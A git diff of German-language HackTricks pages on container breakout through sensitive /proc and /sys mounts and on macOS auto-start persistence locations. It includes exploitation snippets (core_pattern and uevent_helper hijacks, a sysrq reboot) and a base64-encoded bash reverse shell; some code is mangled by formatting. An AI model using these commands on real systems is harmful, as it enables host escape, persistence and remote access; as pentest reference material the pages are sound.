diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 704653d20..acd5ff4b6 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -1,166 +1,197 @@ +# Sensible Mounts +
-Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! +Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
+Die Offenlegung von `/proc` und `/sys` ohne ordnungsgemäße Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Container-Ausbruch, einer Host-Änderung oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Beispielsweise kann das falsche Einhängen von `-v /proc:/host/proc` den AppArmor-Schutz aufgrund seiner pfadbasierten Natur umgehen und `/host/proc` ungeschützt lassen. -Die Offenlegung von `/proc` und `/sys` ohne ordnungsgemäße Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Ausbruch aus dem Container, zur Modifikation des Hosts oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Wenn beispielsweise `-v /proc:/host/proc` falsch eingebunden wird, kann dies aufgrund seiner pfadbasierten Natur den AppArmor-Schutz umgehen und `/host/proc` ungeschützt lassen. +**Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -**Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).** +## procfs-Schwachstellen -# procfs-Schwachstellen +### `/proc/sys` -## `/proc/sys` -Dieses Verzeichnis ermöglicht den Zugriff auf die Modifikation von Kernelvariablen, normalerweise über `sysctl(2)`, und enthält mehrere Unterordner von Interesse: +Dieses Verzeichnis ermöglicht den Zugriff zur Änderung von Kernelvariablen, normalerweise über `sysctl(2)`, und enthält mehrere Unterordner von Interesse: + +#### **`/proc/sys/kernel/core_pattern`** + +* Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). +* Ermöglicht die Definition eines Programms zur Ausführung bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumente. Dies kann zu Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen `|` beginnt. +* **Beispiel für Test und Ausnutzung**: -### **`/proc/sys/kernel/core_pattern`** -- Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Ermöglicht die Definition eines Programms, das bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumente ausgeführt wird. Dies kann zu Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen `|` beginnt. -- **Beispiel für Test und Ausnutzung**: ```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Ja # Test auf Schreibzugriff +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test auf Schreibzugriff cd /proc/sys/kernel echo "|$overlay/shell.sh" > core_pattern # Benutzerdefinierten Handler festlegen sleep 5 && ./crash & # Handler auslösen ``` -### **`/proc/sys/kernel/modprobe`** -- Ausführlich beschrieben in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird. -- **Beispiel zur Überprüfung des Zugriffs**: +#### **`/proc/sys/kernel/modprobe`** + +* Ausführlich beschrieben in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird. +* **Beispiel zur Überprüfung des Zugriffs**: + ```bash ls -l $(cat /proc/sys/kernel/modprobe) # Zugriff auf modprobe überprüfen ``` -### **`/proc/sys/vm/panic_on_oom`** -- Referenziert in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in Panik gerät oder den OOM-Killer aufruft. +#### **`/proc/sys/vm/panic_on_oom`** -### **`/proc/sys/fs`** -- Gemäß [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält es Optionen und Informationen zum Dateisystem. -- Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen. +* Bezugnahme in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in den Panikmodus wechselt oder den OOM-Killer aufruft. -### **`/proc/sys/fs/binfmt_misc`** -- Ermöglicht die Registrierung von Interpretern für nicht native Binärformate basierend auf ihrer Magic Number. -- Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist. -- Relevanter Exploit und Erklärung: -- [Rootkit für arme Leute über binfmt_misc](https://github.com/toffan/binfmt_misc) -- Ausführliches Tutorial: [Video-Link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +#### **`/proc/sys/fs`** -## Andere in `/proc` +* Gemäß [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält Optionen und Informationen zum Dateisystem. +* Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen. -### **`/proc/config.gz`** -- Kann die Kernelkonfiguration offenlegen, wenn `CONFIG_IKCONFIG_PROC` aktiviert ist. -- Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren. +#### **`/proc/sys/fs/binfmt_misc`** + +* Ermöglicht die Registrierung von Interpretern für nicht native Binärformate anhand ihrer Magiezahl. +* Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist. +* Relevanter Exploit und Erklärung: +* [Rootkit auf einfache Art über binfmt\_misc](https://github.com/toffan/binfmt\_misc) +* Ausführliches Tutorial: [Video-Link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) + +### Andere in `/proc` + +#### **`/proc/config.gz`** + +* Kann die Kernelkonfiguration offenlegen, wenn `CONFIG_IKCONFIG_PROC` aktiviert ist. +* Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren. + +#### **`/proc/sysrq-trigger`** + +* Ermöglicht das Auslösen von Sysrq-Befehlen, die potenziell sofortige Systemneustarts oder andere kritische Aktionen verursachen können. +* **Beispiel zum Neustart des Hosts**: -### **`/proc/sysrq-trigger`** -- Ermöglicht das Auslösen von Sysrq-Befehlen, die potenziell sofortige Systemneustarts oder andere kritische Aktionen verursachen können. -- **Beispiel zum Neustarten des Hosts**: ```bash echo b > /proc/sysrq-trigger # Startet den Host neu ``` -### **`/proc/kmsg`** -- Stellt Kernel-Ringpuffermeldungen bereit. -- Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen. +#### **`/proc/kmsg`** -### **`/proc/kallsyms`** -- Listet exportierte Kernel-Symbole und ihre Adressen auf. -- Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR. -- Adressinformationen sind eingeschränkt, wenn `kptr_restrict` auf `1` oder `2` gesetzt ist. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Stellt Kernelringpuffermeldungen bereit. +* Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen. -### **`/proc/[pid]/mem`** -- Interagiert mit dem Kernel-Speichergerät `/dev/mem`. -- Historisch anfällig für Privilegieneskalationsangriffe. -- Weitere Informationen unter [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +#### **`/proc/kallsyms`** -### **`/proc/kcore`** -- Stellt den physischen Speicher des Systems im ELF-Core-Format dar. -- Das Lesen kann den Speicherinhalt des Hostsystems und anderer Container preisgeben. -- Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen. -- Detaillierte Verwendung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +* Listet exportierte Kernel-Symbole und deren Adressen auf. +* Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR. +* Adressinformationen sind mit `kptr_restrict` auf `1` oder `2` beschränkt. +* Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -### **`/proc/kmem`** -- Alternative Schnittstelle für `/dev/kmem`, die den virtuellen Speicher des Kernels darstellt. -- Ermöglicht das Lesen und Schreiben und damit die direkte Modifikation des Kernel-Speichers. +#### **`/proc/[pid]/mem`** -### **`/proc/mem`** -- Alternative Schnittstelle für `/dev/mem`, die den physischen Speicher darstellt. -- Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung von virtuellen in physische Adressen. +* Interagiert mit dem Kernel-Speichergerät `/dev/mem`. +* Historisch anfällig für Privilegieneskalationsangriffe. +* Mehr dazu in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -### **`/proc/sched_debug`** -- Gibt Informationen zur Prozessplanung zurück und umgeht den PID-Namespace-Schutz. -- Stellt Prozessnamen, IDs und cgroup-Bezeichner offen. +#### **`/proc/kcore`** -### **`/proc/[pid]/mountinfo`** -- Bietet Informationen über Mountpoints im Mount-Namespace des Prozesses. -- Zeigt den Speicherort des Container-`rootfs` oder des Images an. +* Stellt den physischen Speicher des Systems im ELF-Core-Format dar. +* Das Lesen kann den Speicherinhalt des Host-Systems und anderer Container preisgeben. +* Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen. +* Detaillierte Verwendung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). -## `/sys`-Schwachstellen +#### **`/proc/kmem`** + +* Alternative Schnittstelle für `/dev/kmem`, die den virtuellen Kernel-Speicher darstellt. +* Ermöglicht das Lesen und Schreiben, daher direkte Modifikation des Kernel-Speichers. + +#### **`/proc/mem`** + +* Alternative Schnittstelle für `/dev/mem`, die den physischen Speicher darstellt. +* Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung virtueller in physische Adressen. + +#### **`/proc/sched_debug`** + +* Gibt Informationen zur Prozessplanung zurück und umgeht PID-Namensraumschutzmaßnahmen. +* Stellt Prozessnamen, IDs und cgroup-Bezeichner offen. + +#### **`/proc/[pid]/mountinfo`** + +* Bietet Informationen über Einhängepunkte im Einhängepunkt-Namensraum des Prozesses. +* Stellt den Speicherort des Container-`rootfs` oder des Images offen. + +### sys-Schwachstellen + +#### **`/sys/kernel/uevent_helper`** + +* Wird zur Behandlung von Kernelgeräte-`uevents` verwendet. +* Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen. +* **Beispiel für Ausnutzung**: %%%bash + +## Erstellt ein Payload + +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper + +## Ermittelt den Hostpfad aus dem OverlayFS-Einhängepunkt für den Container + +host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab) + +## Setzt uevent\_helper auf bösartigen Helfer + +echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper + +## Löst ein uevent aus -### **`/sys/kernel/uevent_helper`** -- Wird zum Umgang mit Kernelgeräte-`uevents` verwendet. -- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen. -- **Beispiel für Ausnutzung**: -%%%bash -# Erstellt eine Payload -echo "#!/bin/sh" > /evil-helper -echo "ps > /output" >> /evil-helper -chmod +x /evil-helper -# Ermittelt den Hostpfad aus dem OverlayFS-Mount für den Container -host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) -# Setzt uevent_helper auf bösartigen Helper -echo "$host_path/evil-helper" > /sys/kernel/uevent_helper -# Löst ein uevent aus echo change > /sys/class/mem/null/uevent -# Liest die Ausgabe -cat /output -%%% -### **`/sys/class/thermal`** -- Steuert Temperatureinstellungen und kann potenziell DoS-Angriffe oder physische Schäden verursachen. -### **`/sys/kernel/vmcoreinfo`** -- Leakt Kernel-Adressen und gefährdet potenziell KASLR. +## Liest die Ausgabe -### **`/sys/kernel/security`** -- Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht. -- Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren. +cat /output %%% +#### **`/sys/class/thermal`** -### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`** -- Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM. -- Fehlkonfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen. +* Steuert Temperatureinstellungen und kann potenziell DoS-Angriffe oder physische Schäden verursachen. -### **`/sys/kernel/debug`** -- `debugfs` bietet eine "no rules" Debugging-Schnittstelle zum Kernel. -- Es gab bereits Sicherheitsprobleme aufgrund seiner uneingeschränkten Natur. +#### **`/sys/kernel/vmcoreinfo`** +* Gibt Kernel-Adressen preis und gefährdet potenziell KASLR. + +#### **`/sys/kernel/security`** + +* Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht. +* Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren. + +#### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`** + +* Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM. +* Falsche Konfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen. + +#### **`/sys/kernel/debug`** + +* `debugfs` bietet eine "keine Regeln" Debugging-Schnittstelle zum Kernel. +* Es gab Sicherheitsprobleme aufgrund seiner uneingeschränkten Natur. + +### Referenzen -## Referenzen * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) * [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) -
-Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! -* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden. +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index 148318482..0347b4cbc 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -6,11 +6,11 @@ Andere Möglichkeiten, HackTricks zu unterstützen: -* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen. +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen. @@ -19,7 +19,7 @@ Dieser Abschnitt basiert stark auf der Blog-Serie [**Beyond the good ol' LaunchA ## Sandbox-Umgehung {% hint style="success" %} -Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitmenge** oder eine **Aktion warten, die Sie normalerweise** innerhalb einer Sandbox ausführen können, ohne Root-Berechtigungen zu benötigen. +Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitdauer** oder eine **Aktion warten, die Sie normalerweise** innerhalb einer Sandbox ausführen können, ohne Root-Berechtigungen zu benötigen. {% endhint %} ### Launchd @@ -55,7 +55,7 @@ Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und * `/System/Library/LaunchAgents`: Vom Apple bereitgestellte benutzerbezogene Agenten * `/System/Library/LaunchDaemons`: Vom Apple bereitgestellte systemweite Daemons -Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plists mit den **Berechtigungen des angemeldeten Benutzers gestartet**. +Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plists mit den **Berechtigungen des angemeldeten Benutzers** gestartet. Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten geladen werden, wenn sich der Benutzer anmeldet, und die Daemons beim Systemstart geladen werden** (da Dienste wie ssh ausgeführt werden müssen, bevor ein Benutzer auf das System zugreift). Außerdem können Agenten die GUI verwenden, während Daemons im Hintergrund ausgeführt werden müssen. ```xml @@ -83,13 +83,13 @@ Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten Es gibt Fälle, in denen ein **Agent ausgeführt werden muss, bevor sich der Benutzer anmeldet**, diese werden als **PreLoginAgents** bezeichnet. Zum Beispiel ist dies nützlich, um unterstützende Technologien beim Login bereitzustellen. Sie können auch in `/Library/LaunchAgents` gefunden werden (siehe [**hier**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ein Beispiel). {% hint style="info" %} -Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load ` **verwendet**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung zu laden** mit `launchctl -F ` (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\ -Es ist auch möglich, **zu entladen** mit `launchctl unload ` (der Prozess, auf den es zeigt, wird beendet). +Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load ` **geladen**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung** mit `launchctl -F ` zu laden (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\ +Es ist auch möglich, mit `launchctl unload ` zu **entladen** (der Prozess, auf den er zeigt, wird beendet). Um **sicherzustellen**, dass nichts (wie eine Überschreibung) **das Ausführen eines** **Agenten** oder **Daemons** **verhindert**, führen Sie aus: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` {% endhint %} -Liste alle Agents und Daemons auf, die vom aktuellen Benutzer geladen wurden: +Liste alle vom aktuellen Benutzer geladenen Agenten und Daemons auf: ```bash launchctl list ``` @@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### Wiedereröffnete Anwendungen {% hint style="danger" %} -Die Konfiguration der angegebenen Ausnutzung und das Aus- und Einloggen oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden) +Die Konfiguration der angegebenen Ausnutzung und das Abmelden und Anmelden oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden) {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) @@ -149,7 +149,7 @@ Die Konfiguration der angegebenen Ausnutzung und das Aus- und Einloggen oder sog #### Ort * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -* **Auslöser**: Neustart von wiedereröffneten Anwendungen +* **Auslöser**: Neustart der wiedereröffneten Anwendungen #### Beschreibung & Ausnutzung @@ -157,7 +157,7 @@ Alle Anwendungen, die wieder geöffnet werden sollen, befinden sich in der Plist Um also die wieder zu öffnenden Anwendungen dazu zu bringen, Ihre eigene zu starten, müssen Sie nur **Ihre App zur Liste hinzufügen**. -Die UUID kann gefunden werden, indem Sie dieses Verzeichnis auflisten oder mit `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` +Die UUID kann durch Auflisten dieses Verzeichnisses oder mit `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` gefunden werden. Um die Anwendungen zu überprüfen, die wieder geöffnet werden sollen, können Sie Folgendes tun: ```bash @@ -181,7 +181,7 @@ Um **eine Anwendung zu dieser Liste hinzuzufügen**, können Sie Folgendes verwe * TCC Umgehung: [✅](https://emojipedia.org/check-mark-button) * Terminal verwendet FDA-Berechtigungen des Benutzers, der es verwendet -#### Ort +#### Standort * **`~/Library/Preferences/com.apple.Terminal.plist`** * **Auslöser**: Terminal öffnen @@ -210,9 +210,9 @@ Diese Konfiguration wird in der Datei **`~/Library/Preferences/com.apple.Termina } [...] ``` -So, wenn die plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`** Funktionalität verwendet werden, um **das Terminal zu öffnen und dieser Befehl wird ausgeführt**. +Also, wenn die Plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`**-Funktionalität verwendet werden, um das Terminal zu öffnen und dieser Befehl wird ausgeführt. -Dies kann über die Befehlszeile mit folgendem Befehl hinzugefügt werden: +Sie können dies über die Befehlszeile mit folgendem Befehl hinzufügen: {% code overflow="wrap" %} ```bash @@ -225,20 +225,20 @@ Dies kann über die Befehlszeile mit folgendem Befehl hinzugefügt werden: ``` {% endcode %} -### Terminal-Skripte / Andere Dateierweiterungen +### Terminal Skripte / Andere Dateierweiterungen * Nützlich, um die Sandbox zu umgehen: [✅](https://emojipedia.org/check-mark-button) * TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button) -* Terminal verwenden, um FDA-Berechtigungen des Benutzers zu erhalten +* Terminal verwendet FDA-Berechtigungen des Benutzers, der es verwendet #### Ort * **Überall** -* **Auslöser**: Öffnen Sie das Terminal +* **Auslöser**: Öffnen des Terminals #### Beschreibung & Ausnutzung -Wenn Sie ein [**`.terminal`**-Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminal-Anwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), wird Ihr Befehl mit diesen besonderen Berechtigungen ausgeführt. +Wenn Sie ein [**`.terminal`** Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminalanwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), werden Ihre Befehle mit diesen besonderen Berechtigungen ausgeführt. Probieren Sie es aus: ```bash @@ -268,48 +268,42 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` -You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal. - -{% hint style="danger" %} -If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window). -{% endhint %} - -### Audio Plugins +### Audio-Plugins Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -* TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) -* You might get some extra TCC access +* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button) +* TCC-Umgehung: [🟠](https://emojipedia.org/large-orange-circle) +* Möglicherweise zusätzlicher TCC-Zugriff -#### Location +#### Standort * **`/Library/Audio/Plug-Ins/HAL`** -* Root required -* **Trigger**: Restart coreaudiod or the computer + * Benötigt Root-Zugriff + * **Auslöser**: Neustart von coreaudiod oder des Computers * **`/Library/Audio/Plug-ins/Components`** -* Root required -* **Trigger**: Restart coreaudiod or the computer + * Benötigt Root-Zugriff + * **Auslöser**: Neustart von coreaudiod oder des Computers * **`~/Library/Audio/Plug-ins/Components`** -* **Trigger**: Restart coreaudiod or the computer + * **Auslöser**: Neustart von coreaudiod oder des Computers * **`/System/Library/Components`** -* Root required -* **Trigger**: Restart coreaudiod or the computer + * Benötigt Root-Zugriff + * **Auslöser**: Neustart von coreaudiod oder des Computers -#### Description +#### Beschreibung -According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. 